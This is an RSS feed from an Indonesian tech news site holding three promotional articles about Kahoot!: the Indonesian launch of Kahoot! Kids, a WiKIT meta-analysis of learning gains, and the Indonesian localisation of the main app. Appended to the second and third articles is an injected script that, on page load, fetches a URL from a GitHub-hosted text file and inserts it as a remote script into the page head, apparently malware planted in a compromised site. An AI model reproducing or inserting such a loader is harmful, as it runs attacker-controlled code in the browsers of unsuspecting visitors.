<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>kahoot! &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/kahoot/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Wed, 24 Jul 2024 01:58:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>kahoot! &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Kahoot! Kids Kini Hadir dalam Versi Bahasa Indonesi</title>
		<link>https://nativzen.com/2024/07/24/kahoot-kids-kini-hadir-dalam-versi-bahasa-indonesi/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 24 Jul 2024 01:58:54 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi anak]]></category>
		<category><![CDATA[kahoot!]]></category>
		<category><![CDATA[kahoot! kids]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=10074</guid>

					<description><![CDATA[Aplikasi Kahoot! Kids kini menawarkan pembelajaran yang lebih seru dan menyenangkan bagi anak-anak dalam Bahasa Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Bertepatan dengan hari anak nasional, Kahoot!, platform pembelajaran global, kini menghadirkan versi Bahasa Indonesia untuk aplikasi Kahoot! Kids. Langkah besar tersebut bertujuan untuk membuat belajar lebih menyenangkan.</p>



<p>Tak hanya itu, kehadiran Bahasa Indonesia juga memberi anak-anak di Indonesia kesempatan lebih besar untuk mengembangkan keterampilan melalui belajar sambil bermain. Selain itu, orang tua juga dapat lebih terlibat dalam proses belajar anak-anak mereka.     </p>



<p>&#8220;Setelah berhasil menerjemahkan aplikasi utama Kahoot! ke dalam Bahasa Indonesia di awal tahun, kami sangat antusias kini dapat menghadirkan aplikasi Kahoot! Kids dalam Bahasa Indonesia untuk seluruh keluarga Indonesia,” kata Eilert Hanoa, CEO Kahoot! </p>



<p>Ditambahkan oleh Eilert bahwa penerjemahan bahasa dalam aplikasi Kahoot! Kids adalah bagian dari rencana besar Kahoot! di pasar Asia Tenggara untuk memberi kemudahan, serta membuat belajar lebih menyenangkan, dan menarik bagi jutaan anak di Indonesia.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-1024x576.jpg" alt="" class="wp-image-10075" srcset="https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2024/07/Foto-3-Kahoot-Kids-Numbers-hadir-dalam-Bahasa-Indonesia.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kahoot! Kids merupakan aplikasi utama dalam serangkaian aplikasi pembelajaran milik Kahoot! yang diperuntukan bagi anak usia 3 hingga 12 tahun ke atas. Aplikasi ini terdiri dari 10 permainan edukatif yang dirancang untuk membantu anak-anak dalam mengembangkan kemampuannya.</p>



<p>Tak hanya kemampuan membaca, Kahoot! Kids juga dapat membantu anak-anak dalam pemahaman berhitung, serta kemampuan berpikir logis. Karena itu, aplikasi ini menawarkan pengalaman belajar yang komprehensif dan menarik melalui permainan.</p>



<p>Aplikasi ini juga menampilkan karakter-karakter populer Disney, SpongeBob SquarePants, Dora, dan banyak lagi yang akan segera hadir. Melalui aplikasi ini, anak-anak tidak hanya mempelajari pengetahuan dasar, tetapi juga dapat membangun keterampilan kognitif dan sosial-emosional.</p>



<p>&#8220;Tidak banyak game edukasi anak hadir dalam Bahasa Indonesia. Dengan menerjemahkan Kahoot! Kids, kami berharap orang tua dapat memberikan opsi waktu bermain gadget yang positif untuk anak-anak,&#8221; ujar Elizabeth Dionasari, Senior Product Manager di Kahoot!</p>



<p>Untuk membuat Hari Anak di Indonesia menjadi lebih berkesan, Kahoot! telah menerjemahkan Kahoot! Numbers by DragonBox ke dalam Bahasa Indonesia, dimana aplikasi ini merupakan satu dari sepuluh aplikasi dalam rangkaian Kahoot! Kids. </p>



<p>Kahoot! Numbers by Dragonbox dirancang untuk mendukung pembelajaran matematika dasar bagi anak-anak usia 4 hingga 8 tahun dengan menawarkan pengalaman belajar yang menyenangkan dan efektif.</p>



<p>Kahoot! Numbers by DragonBox dirancang untuk membantu anak-anak membangun fondasi yang kuat dalam pembelajaran matematika. Aplikasi ini menawarkan beragam tantangan matematika dengan cara yang menarik.</p>



<p>Dengan pendekatan visual, Kahoot! Numbers menjadikan matematika lebih mudah dipahami dan menarik bagi anak-anak, terutama karena angka seringkali dapat membingungkan saat pertama kali diperkenalkan.</p>



<p>Daya tarik lainnya dari Kahoot! Kids, aplikasi ini dirancang oleh para ahli teori dan praktis dalam pendidikan untuk memberikan hasil belajar yang positif dan mendorong perkembangan keterampilan anak usia dini. </p>



<p>Salah satu keunggulannya adalah Kahoot! Numbers by DragonBox, yang telah meraih penghargaan sebagai aplikasi yang dapat memberikan edukasi substansial bagi anak-anak. Kedua aplikasi ini bebas iklan dan sepenuhnya mematuhi standar privasi dan keamanan yang tinggi.</p>



<p>Saat ini <a href="https://kahoot.com/home/kahoot-kids/" target="_blank" rel="noreferrer noopener">Kahoot! Kids</a> tersedia untuk diunduh secara gratis di App Store dan Google Play. Aplikasi <a href="https://kahoot.com/home/learning-apps/dragonbox/" target="_blank" rel="noreferrer noopener">Kahoot! Numbers by DragonBox</a> dapat diunduh dari aplikasi Kahoot! Kids dan juga tersedia di kedua aplikasi digital tersebut. </p>



<p>Kedua aplikasi ini juga menawarkan opsi berbayar untuk mendapatkan akses tak terbatas ke semua permainan edukatif. Penerjemahan Kahoot! Kids dan Kahoot! Numbers by DragonBox juga menandai langkah awal Kahoot! dalam melokalkan rangkaian aplikasi Kahoot! Kids. </p>



<p>Langkah ini merupakan bagian dari misi Kahoot! untuk membuat belajar menjadi menyenangkan bagi jutaan anak-anak di Indonesia dan menyediakan permainan yang menjamin hasil belajar positif bagi anak-anak mereka.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kahoot! Memiliki Dampak Positif Terhadap Hasil Belajar Siswa</title>
		<link>https://nativzen.com/2024/04/02/kahoot-memiliki-dampak-positif-terhadap-hasil-belajar-siswa/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 02 Apr 2024 00:46:28 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[belajar siswa]]></category>
		<category><![CDATA[kahoot!]]></category>
		<category><![CDATA[kuis kahoot!]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=5448</guid>

					<description><![CDATA[Laporan yang diterbitkan oleh WiKIT menyebutkan bahwa aplikasi kuis Kahoot! berdampak positif terhadap hasil belajar siswa.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Sebuah <a href="https://kahoot.com/resources/meta-research/">penelitian terbaru</a> menunjukkan bahwa Kahoot!, platform edukasi interaktif yang populer, dapat meningkatkan hasil belajar siswa. Laporan ini diterbitkan oleh <a href="https://www.wikit.no/">WiKIT</a>, lembaga penelitian Edtech independen internasional. </p>



<p>WiKIT memberikan bukti ilmiah yang kuat tentang manfaat Kahoot! dalam pembelajaran. Dengan menggunakan metode penelitian meta-analisis studi peer-review, hasil penelitian tersebut menunjukan bahwa Kahoot! terbukti sangat membantu siswa.</p>



<p>Tak hanya sangat dapat membantu siswa dalam belajar lebih efektif, tetapi juga mampu meningkatkan hasil belajar siswa serta membuat belajar menjadi lebih menyenangkan dan interaktif.</p>



<p>&#8220;Melalui pemaparan hasil penelitian independen mengenai pengaruh Kahoot!, para pendidik dan administrator saat ini dapat lebih yakin dalam menggunakan Kahoot! untuk meningkatkan prestasi akademik siswa,&#8221; kata Eilert Hanoa, CEO Kahoot! </p>



<p>Sejak diluncurkan pada 2023, Kahoot! telah didukung dengan basis penelitian dan sertifikasi yang kuat, di antaranya adalah sertifikasi ICEIE Silver Badge dan ESSA Level III. Ini menunjukan keselarasan terhadap standar mutu pendidikan serta efektivitasnya dalam pembelajaran siswa. </p>



<p>Selain itu, Kahoot! juga secara aktif terlibat dalam berbagai penelitian yang mengukur efektivitas pembelajaran berbasis game, salah satunya dengan melakukan penelitian berbasis meta analysis dengan WiKIT. </p>



<p>Pada laporan ini, WiKIT secara sistematis menganalisis 155 artikel dan 2070 responden penelitian peer-review yang melibatkan Kahoot! oleh para peneliti independen di seluruh dunia untuk menguji efek kuantitatif Kahoot! Di berbagai jenjang pendidikan pada hasil pembelajaran.</p>



<p>Melalui proses standarisasi dan konversi beragam metrik hasil belajar, WiKIT menemukan beberapa penemuan penelitiannya sebagai berikut: </p>



<ul>
<li>Kahoot! meningkatkan hasil belajar siswa rata-rata 0,72 standar deviasi, setara dengan meningkatkan nilai ujian satu tingkat (Contoh: dari B ke A).</li>



<li>Kahoot! terbukti membantu siswa belajar lebih efektif, meningkatkan hasil belajar siswa serta membuat belajar menjadi lebih menyenangkan dan interaktif. </li>



<li>Kahoot! merupakan alat pembelajaran yang signifikan dalam membantu siswa belajar lebih efektif di semua jenjang pendidikan, dari SD hingga perguruan tinggi.<br></li>
</ul>



<p>Laporan tersebut menunjukkan bukti awal yang komprehensif bagi Kahoot! sebagai platform teknologi pembelajaran yang kuat di berbagai konteks pendidikan. Dalam laporannya, WiKIT juga merekomendasikan untuk melakukan penelitian peer-review lanjutan. </p>



<h3 class="wp-block-heading">Kahoot! Mampu Hadirkan Solusi Pembelajaran Efektif Berbasis Penelitian Ilmiah</h3>



<p>Dalam beberapa tahun terakhir, sektor pendidikan telah menunjukkan peningkatan permintaan terhadap EdTech. Hal tersebut memacu investasi pada solusi bermutu tinggi yang teruji dan sesuai dengan kebutuhan para guru dan siswa. </p>



<p>Dalam hal ini, Kahoot! sebagai platform pembelajaran berbasi game menjadi inovasi yang begitu menarik, tak hanya hadir untuk menjawab perkembangan permintaan guru, tetapi juga memiliki nilai manfaat bagi siswa di sektor pendidikan.</p>



<p>&#8220;Tingginya jumlah studi penelitian yang dipublikasikan tentang permainan kuis Kahoot! menunjukkan popularitas Kahoot! secara global. Meta-analisis WiKIT menganalisis hasil dari berbagai penelitian independen ini,&#8221; ujar Profesor Natalia Kucirkova, Co-CEO WiKIT.</p>



<p>Ditambahkan oleh Natalia bahwa WiKIT sangat senang melihat dedikasi Kahoot! dalam<br>mengevaluasi penelitian yang dilakukannya dan dukungan menyeluruh terhadap bukti yang semakin dituntut oleh sektor EdTech untuk memberikan pengalaman pendidikan yang efektif.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Asyik! Kini Kahoot! Hadir dalam Bahasa Indonesia</title>
		<link>https://nativzen.com/2024/02/25/asyik-kini-kahoot-hadir-dalam-bahasa-indonesia/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 25 Feb 2024 00:49:31 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[bahasa indonesia]]></category>
		<category><![CDATA[kahoot!]]></category>
		<category><![CDATA[platform edutech]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=4367</guid>

					<description><![CDATA[Ada kabar gembira untuk kamu pengguna Kahoot! Ya, salah satu platform edutech ini hadir dalam Bahasa Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Ada kabar gembira untuk kamu pengguna Kahoot! Ya, salah satu platform edutech ini hadir dalam Bahasa Indonesia. Ini merupakan komitmen Kahoot! untuk memberikan pengalaman belajar interaktif terbaik bagi seluruh lapisan masyarakat.</p>



<p>Lokalisasi bahasa juga dilakukan di tengah pesatnya pertumbuhan Kahoot! sebagai platform edutech di Indonesia. Ada lebih dari 15 juta pemain non-unik Kahoot! pada sepanjang 12 bulan terakhir. Ini juga mencakup lebih dari 1,2 juta siswa, dengan lebih dari 115.000 guru. </p>



<p>&#8220;Indonesia merupakan bagian penting dari strategi pertumbuhan Kahoot!, tidak hanya pada tingkat regional di Asia, tapi juga di global. Kami percaya kehadiran Kahoot! dalam Bahasa Indonesia akan dapat menjangkau lebih banyak pengguna,” kata Eilert Hanoa, CEO Kahoot!. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-1024x576.jpg" alt="" class="wp-image-4368" srcset="https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2024/02/Foto-1-Kahoot-Hadir-Dalam-Bahasa-Indonesia.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ekspansi ini juga sejalan dengan tren pendidikan yang berfokus pada peningkatan literasi digital dan mempromosikan praktek pendidikan yang inovatif. Kahoot! juga memungkinkan penggunanya merancang, menciptakan dan membagikan konten pendidikan yang lebih relevan dengan kebudayaan lokal. </p>



<p>Menariknya lagi, integrasi Bahasa Indonesia ke dalam platform Kahoot! ini merupakan yang pertama di wilayah Asia Tenggara, dan yang ke-5 di Asia, mengikuti Bahasa Jepang, Korea, serta Bahasa Tionghoa Sederhana, dan Tradisional.</p>



<p>Selain itu, Kahoot! Kids, aplikasi mandiri untuk iOS dan Android yang didesain untuk anak usia 2 hingga 7 tahun, saat ini juga telah dilokalisasikan ke dalam Bahasa Indonesia. Lokalisasi Kahoot! Kids juga menunjukkan komitmen Kahoot! dalam mendorong terciptanya hubungan yang lebih kuat antara orang tua dan anak melalui pembelajaran berbasis permainan. </p>



<p>Aplikasi Kahoot! Kids untuk iOS dan Android membuat orang tua dapat mendukung anak-anak mereka dalam membangun keterampilan inti dan keterampilan anak usia dini. Ke depannya, Kahoot! akan terus berinovasi guna mendukung peningkatan kualitas pendidikan di Indonesia. </p>



<p>Untuk informasi selengkapnya tentang Kahoot! dan berbagai solusinya bagi siswa, guru, sekolah, profesional, dan orang tua yang berusaha menjalin hubungan dan menikmati waktu berkualitas dengan anak-anak mereka, silakan kunjungi <a href="http://www.kahoot.com">www.kahoot.com</a>.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
